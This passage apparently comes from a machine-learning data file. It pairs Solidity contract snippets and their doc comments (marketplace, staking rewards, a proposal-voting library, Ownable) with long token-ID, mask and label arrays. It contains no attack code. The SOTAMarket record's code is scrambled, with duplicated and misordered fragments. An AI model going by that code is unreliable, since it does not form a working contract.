0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
445,
1914,
12,
5487,
774,
1887,
863,
2502,
852,
16,
2254,
5034,
498,
13,
2713,
1476,
1135,
261,
6430,
13,
288,
203,
5411,
327,
389,
12298,
12,
1458,
6315,
7872,
16,
1731,
1578,
12,
856,
10019,
203,
3639,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/56/0x41981541B85b696ed1c9A4594e7aF19bCc5Ec4D9/sources/SOTAMarket.sol | require(item.expired >= block.timestamp, 'Item expired'); | external payable returns (bool) {
Item storage item = items[_itemId];
require(item.owner != address(0), 'Item not exist');
require(whitelistPayableToken[_paymentToken] == 1, 'Payment token not support');
require(item.status == 1, 'Item unavailable');
require(item.quantity >= _quantity, 'Invalid quantity');
require(item.mask == 1, 'Not for sale');
uint256 estimateUSDT = estimateUSDT(_paymentToken, _paymentAmount);
estimateUSDT = estimateUSDT.div(marketFee + ZOOM_FEE).mul(ZOOM_FEE);
require(estimateUSDT.div(_quantity) >= item.price.div(item.quantity), 'Invalid price');
emit Buy(_itemId, _quantity, _paymentToken, _paymentAmount);
function bid(uint256 _itemId, uint256 _quantity, address _bidToken, uint256 _bidAmount, uint256 _expiration)
}
function buy(uint256 _itemId, uint256 _quantity, address _paymentToken, uint256 _paymentAmount)
if (executeOrder(msg.sender, _itemId, _quantity, _paymentToken, _paymentAmount)) {
if (estimateUSDT > item.price) {
estimateUSDT = item.price;
}
item.price = item.price.sub(estimateUSDT);
return true;
}
return false;
function bid(uint256 _itemId, uint256 _quantity, address _bidToken, uint256 _bidAmount, uint256 _expiration)
}
function buy(uint256 _itemId, uint256 _quantity, address _paymentToken, uint256 _paymentAmount)
if (executeOrder(msg.sender, _itemId, _quantity, _paymentToken, _paymentAmount)) {
if (estimateUSDT > item.price) {
estimateUSDT = item.price;
}
item.price = item.price.sub(estimateUSDT);
return true;
}
return false;
}
| 11,147,298 | [
1,
6528,
12,
1726,
18,
15820,
1545,
1203,
18,
5508,
16,
296,
1180,
7708,
8284,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
3903,
8843,
429,
1135,
261,
6430,
13,
288,
203,
3639,
4342,
2502,
761,
273,
1516,
63,
67,
1726,
548,
15533,
203,
3639,
2583,
12,
1726,
18,
8443,
480,
1758,
12,
20,
3631,
296,
1180,
486,
1005,
8284,
203,
3639,
2583,
12,
20409,
9148,
429,
1345,
63,
67,
9261,
1345,
65,
422,
404,
16,
296,
6032,
1147,
486,
2865,
8284,
203,
3639,
2583,
12,
1726,
18,
2327,
422,
404,
16,
296,
1180,
15781,
8284,
203,
3639,
2583,
12,
1726,
18,
16172,
1545,
389,
16172,
16,
296,
1941,
10457,
8284,
203,
3639,
2583,
12,
1726,
18,
4455,
422,
404,
16,
296,
1248,
364,
272,
5349,
8284,
203,
3639,
2254,
5034,
11108,
3378,
9081,
273,
11108,
3378,
9081,
24899,
9261,
1345,
16,
389,
9261,
6275,
1769,
203,
3639,
11108,
3378,
9081,
273,
11108,
3378,
9081,
18,
2892,
12,
27151,
14667,
397,
2285,
51,
1872,
67,
8090,
41,
2934,
16411,
12,
62,
51,
1872,
67,
8090,
41,
1769,
203,
3639,
2583,
12,
23562,
3378,
9081,
18,
2892,
24899,
16172,
13,
1545,
761,
18,
8694,
18,
2892,
12,
1726,
18,
16172,
3631,
296,
1941,
6205,
8284,
203,
3639,
3626,
605,
9835,
24899,
1726,
548,
16,
389,
16172,
16,
389,
9261,
1345,
16,
389,
9261,
6275,
1769,
203,
565,
445,
9949,
12,
11890,
5034,
389,
1726,
548,
16,
2254,
5034,
389,
16172,
16,
1758,
389,
19773,
1345,
16,
2254,
5034,
389,
19773,
6275,
16,
2254,
5034,
389,
19519,
13,
203,
565,
289,
203,
203,
565,
445,
30143,
12,
11890,
5034,
389,
1726,
548,
16,
2254,
5034,
389,
16172,
16,
2
]
|
./partial_match/42/0xcb9A85F1B0f19f778804B75712264d75D6ACBA3F/sources/MasterChef2.sol | get how much token will be mined from _toBlock to _toBlock. | function getRewardToken(uint256 _fromBlock, uint256 _toBlock) public view returns (uint256){
uint256 term = 2102400 * 4;
return calculateRewardToken(term, INITIAL_BONUS_PER_BLOCK, startBlock, _fromBlock, _toBlock);
}
| 3,368,106 | [
1,
588,
3661,
9816,
1147,
903,
506,
1131,
329,
628,
389,
869,
1768,
358,
389,
869,
1768,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4170,
359,
1060,
1345,
12,
11890,
5034,
389,
2080,
1768,
16,
2254,
5034,
389,
869,
1768,
13,
1071,
1476,
1135,
261,
11890,
5034,
15329,
203,
3639,
2254,
5034,
2481,
273,
576,
2163,
3247,
713,
380,
1059,
31,
203,
3639,
327,
4604,
17631,
1060,
1345,
12,
6408,
16,
28226,
67,
38,
673,
3378,
67,
3194,
67,
11403,
16,
787,
1768,
16,
389,
2080,
1768,
16,
389,
869,
1768,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.4.24;
import "jcc-solidity-utils/contracts/math/SafeMath.sol";
import "./Proposal.sol";
/**
* @dev 提案列表管理模块.
*/
library PublicProposalList {
using SafeMath for uint256;
/**
提案相关状态列表
*/
struct StateList {
// 投票中的提案索引
uint256[] voting;
// 已经表决的提案索引
uint256[] voted;
// 已经执行的提案索引
uint256[] exetued;
}
/**
所有提案列表
*/
struct Data
{
// 所有提案列表: topic ID是关键字
mapping(uint256 => Proposal.PublicTopic) _topics;
// 提案状态
StateList _list;
// 所有提案投票记录
mapping(bytes32 => Proposal.VoteDetail) _voteDetails;
// 按照提案ID的投票明细
mapping(uint256 => bytes32[]) _voteIdxs;
}
function exist(Data storage self, uint256 id) internal view returns (bool) {
if(self._topics[id].core.id == 0) return false;
return (self._topics[id].core.id == id);
}
// 建立投票议题,只能单向增加,设置状态,不能删除
function add(
Data storage self,
uint256 id,
bytes32 hash,
address sponsor,
address to,
uint256 value,
bytes data)
internal returns (bool){
if (exist(self, id)) {
return false;
}
self._topics[id].core.id = id;
self._topics[id].core.hash = hash;
self._topics[id].core.sponsor = sponsor;
self._topics[id].core.executed = false;
self._topics[id].to = to;
self._topics[id].value = value;
self._topics[id].data = data;
self._topics[id].core.idx = self._list.voting.push(id).sub(1);
return true;
}
// 等待表决提案数量
function getVotingCount(Data storage self) internal view returns (uint256) {
return self._list.voting.length;
}
// 已表决提案数量
function getVotedCount(Data storage self) internal view returns (uint256) {
return self._list.voted.length;
}
// 所有提案数量
function count(Data storage self) internal view returns (uint256) {
return self._list.voted.length + self._list.voting.length;
}
// 获得当前未决投票清单
function getAllVotingTopicIds(Data storage self) internal view returns (uint256[]) {
return self._list.voting;
}
function getTopic(Data storage self, uint256 id) internal view returns (Proposal.PublicTopic) {
return self._topics[id];
}
// 获得当前已决提案id
function getVotedTopicIds(Data storage self, uint256 from, uint256 to) internal view returns (uint256[] memory) {
require(to >= from, "index to must bigger than from");
require(to < self._list.voted.length, "index to must smaller than voted count");
uint256 len = 0;
uint256 size = to.sub(from).add(1);
uint256[] memory res = new uint256[](size);
for (uint256 i = from; i <= to; i++) {
res[len] = self._list.voted[i];
len = len.add(1);
}
return res;
}
// 更新决议执行后的状态
function submit(Data storage self, uint256 id) internal returns (bool) {
if (!exist(self, id)) {
return false;
}
// 已经被标记为完成的不再处理
if (self._topics[id].core.executed) {
return false;
}
// 修改全局的议题状态
uint256 row2Del = self._topics[id].core.idx;
uint256 key2Move = self._list.voting[self._list.voting.length.sub(1)];
self._list.voting[row2Del] = key2Move;
self._topics[key2Move].core.idx = row2Del;
self._list.voting.length = self._list.voting.length.sub(1);
// 设置议题结束 移动到已决议题索引中
self._topics[id].core.executed = true;
self._topics[id].core.idx = self._list.voted.push(id).sub(1);
return true;
}
// 更新交易信息
function update(
Data storage self,
uint256 id,
address sponsor,
address to,
uint256 value,
bytes data)
internal returns (bool) {
if (!exist(self, id)) {
return false;
}
bytes32 _hash = keccak256 (abi.encodePacked(to, value, data, uint256(0)));
// 提案人必须是同一个,hash计算必须一致
if (self._topics[id].core.sponsor != sponsor || self._topics[id].core.hash != _hash) {
return false;
}
// 已经被标记为完成的不再处理
if (self._topics[id].core.executed) {
return false;
}
self._topics[id].to = to;
self._topics[id].value = value;
self._topics[id].data = data;
return true;
}
function existVote(Data storage self, bytes32 key) internal view returns (bool) {
if(self._voteDetails[key].id == 0) return false;
return (key == keccak256(abi.encodePacked(self._voteDetails[key].id, self._voteDetails[key].voter)));
}
// 处理投票明细信息
function vote(
Data storage self,
uint256 id,
uint256 timestamp,
address voter,
bool favor)
internal returns (bool) {
if (!exist(self, id)) {
return false;
}
// 执行过的决议不能再投票
if (self._topics[id].core.executed) {
return false;
}
// 拒绝相同的投票内容,不同内容意味着revoke原先的投票
bytes32 key = keccak256(abi.encodePacked(id, voter));
bool _exist = existVote(self, key);
if (_exist && self._voteDetails[key].favor == favor) {
return false;
}
self._voteDetails[key].id = id;
self._voteDetails[key].timestamp = timestamp;
self._voteDetails[key].voter = voter;
self._voteDetails[key].favor = favor;
// 如果投票记录已经存在,则更新,否则索引要增加
if (!_exist){
self._voteDetails[key].idx = self._voteIdxs[id].push(key).sub(1);
}
return true;
}
function getVoteIdxs(Data storage self, uint256 id) internal view returns (bytes32[]) {
return self._voteIdxs[id];
}
// 前端的钱包想知道自己对议题有无投票,可以用topicId,钱包地址做一次keccak256运算得到key,检索是否有数据
function getVoteDetail(Data storage self, bytes32 key) internal view returns (Proposal.VoteDetail) {
return self._voteDetails[key];
}
// 获取议题所有投票明细
function getVoteDetails(Data storage self, uint256 id) internal view returns (Proposal.VoteDetail[] memory) {
uint256 len = self._voteIdxs[id].length;
require(len > 0, "must have vote detail");
Proposal.VoteDetail[] memory res = new Proposal.VoteDetail[](len);
bytes32 key;
for (uint256 i = 0; i < len; i++) {
key = self._voteIdxs[id][i];
res[i] = self._voteDetails[key];
}
return res;
}
} | */ 投票中的提案索引 已经表决的提案索引 已经执行的提案索引 | struct StateList {
uint256[] voting;
uint256[] voted;
uint256[] exetued;
}
| 2,557,534 | [
1,
19,
225,
167,
237,
248,
168,
103,
106,
165,
121,
260,
168,
253,
231,
167,
242,
243,
167,
99,
235,
168,
117,
100,
166,
125,
248,
225,
166,
120,
115,
168,
124,
242,
169,
99,
106,
166,
233,
116,
168,
253,
231,
167,
242,
243,
167,
99,
235,
168,
117,
100,
166,
125,
248,
225,
166,
120,
115,
168,
124,
242,
167,
236,
105,
169,
99,
239,
168,
253,
231,
167,
242,
243,
167,
99,
235,
168,
117,
100,
166,
125,
248,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
1958,
3287,
682,
288,
203,
565,
2254,
5034,
8526,
331,
17128,
31,
203,
565,
2254,
5034,
8526,
331,
16474,
31,
203,
565,
2254,
5034,
8526,
431,
278,
5957,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0xd9b7eC74C06c558A59AfdE6a16E614950730F44d/sources/contracts/engine/V3/GenArt721CoreV3_Engine_Flex.sol | * @notice Updates sales addresses for the platform and render providers to the input parameters. @param _renderProviderPrimarySalesAddress Address of new primary sales payment address. @param _renderProviderSecondarySalesAddress Address of new secondary sales payment address. @param _platformProviderPrimarySalesAddress Address of new primary sales payment address. @param _platformProviderSecondarySalesAddress Address of new secondary sales payment address./ | function updateProviderSalesAddresses(
address payable _renderProviderPrimarySalesAddress,
address payable _renderProviderSecondarySalesAddress,
address payable _platformProviderPrimarySalesAddress,
address payable _platformProviderSecondarySalesAddress
) external {
_onlyAdminACL(this.updateProviderSalesAddresses.selector);
_onlyNonZeroAddress(_renderProviderPrimarySalesAddress);
_onlyNonZeroAddress(_renderProviderSecondarySalesAddress);
_onlyNonZeroAddress(_platformProviderPrimarySalesAddress);
_onlyNonZeroAddress(_platformProviderSecondarySalesAddress);
_updateProviderSalesAddresses(
_renderProviderPrimarySalesAddress,
_renderProviderSecondarySalesAddress,
_platformProviderPrimarySalesAddress,
_platformProviderSecondarySalesAddress
);
}
| 3,903,864 | [
1,
5121,
272,
5408,
6138,
364,
326,
4072,
471,
1743,
9165,
358,
326,
810,
1472,
18,
225,
389,
5902,
2249,
6793,
23729,
1887,
5267,
434,
394,
3354,
272,
5408,
5184,
1758,
18,
225,
389,
5902,
2249,
14893,
23729,
1887,
5267,
434,
394,
9946,
272,
5408,
5184,
1758,
18,
225,
389,
9898,
2249,
6793,
23729,
1887,
5267,
434,
394,
3354,
272,
5408,
5184,
1758,
18,
225,
389,
9898,
2249,
14893,
23729,
1887,
5267,
434,
394,
9946,
272,
5408,
5184,
1758,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1089,
2249,
23729,
7148,
12,
203,
3639,
1758,
8843,
429,
389,
5902,
2249,
6793,
23729,
1887,
16,
203,
3639,
1758,
8843,
429,
389,
5902,
2249,
14893,
23729,
1887,
16,
203,
3639,
1758,
8843,
429,
389,
9898,
2249,
6793,
23729,
1887,
16,
203,
3639,
1758,
8843,
429,
389,
9898,
2249,
14893,
23729,
1887,
203,
565,
262,
3903,
288,
203,
3639,
389,
3700,
4446,
9486,
12,
2211,
18,
2725,
2249,
23729,
7148,
18,
9663,
1769,
203,
3639,
389,
3700,
3989,
7170,
1887,
24899,
5902,
2249,
6793,
23729,
1887,
1769,
203,
3639,
389,
3700,
3989,
7170,
1887,
24899,
5902,
2249,
14893,
23729,
1887,
1769,
203,
3639,
389,
3700,
3989,
7170,
1887,
24899,
9898,
2249,
6793,
23729,
1887,
1769,
203,
3639,
389,
3700,
3989,
7170,
1887,
24899,
9898,
2249,
14893,
23729,
1887,
1769,
203,
3639,
389,
2725,
2249,
23729,
7148,
12,
203,
5411,
389,
5902,
2249,
6793,
23729,
1887,
16,
203,
5411,
389,
5902,
2249,
14893,
23729,
1887,
16,
203,
5411,
389,
9898,
2249,
6793,
23729,
1887,
16,
203,
5411,
389,
9898,
2249,
14893,
23729,
1887,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x44cb2076cb5D606965A67eb003f921c381976B93/sources/metaverse.sol | * @dev Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions. By default, the owner account will be the one that deploys the contract. This can later be changed with {transferOwnership}. This module is used through inheritance. It will make available the modifier `onlyOwner`, which can be applied to your functions to restrict their use to the owner./ | abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
| 8,349,891 | [
1,
8924,
1605,
1492,
8121,
279,
5337,
2006,
3325,
12860,
16,
1625,
1915,
353,
392,
2236,
261,
304,
3410,
13,
716,
848,
506,
17578,
12060,
2006,
358,
2923,
4186,
18,
2525,
805,
16,
326,
3410,
2236,
903,
506,
326,
1245,
716,
5993,
383,
1900,
326,
6835,
18,
1220,
848,
5137,
506,
3550,
598,
288,
13866,
5460,
12565,
5496,
1220,
1605,
353,
1399,
3059,
16334,
18,
2597,
903,
1221,
2319,
326,
9606,
1375,
3700,
5541,
9191,
1492,
848,
506,
6754,
358,
3433,
4186,
358,
13108,
3675,
999,
358,
326,
3410,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
17801,
6835,
14223,
6914,
353,
1772,
288,
203,
225,
1758,
3238,
389,
8443,
31,
203,
203,
225,
871,
14223,
9646,
5310,
1429,
4193,
12,
2867,
8808,
2416,
5541,
16,
1758,
8808,
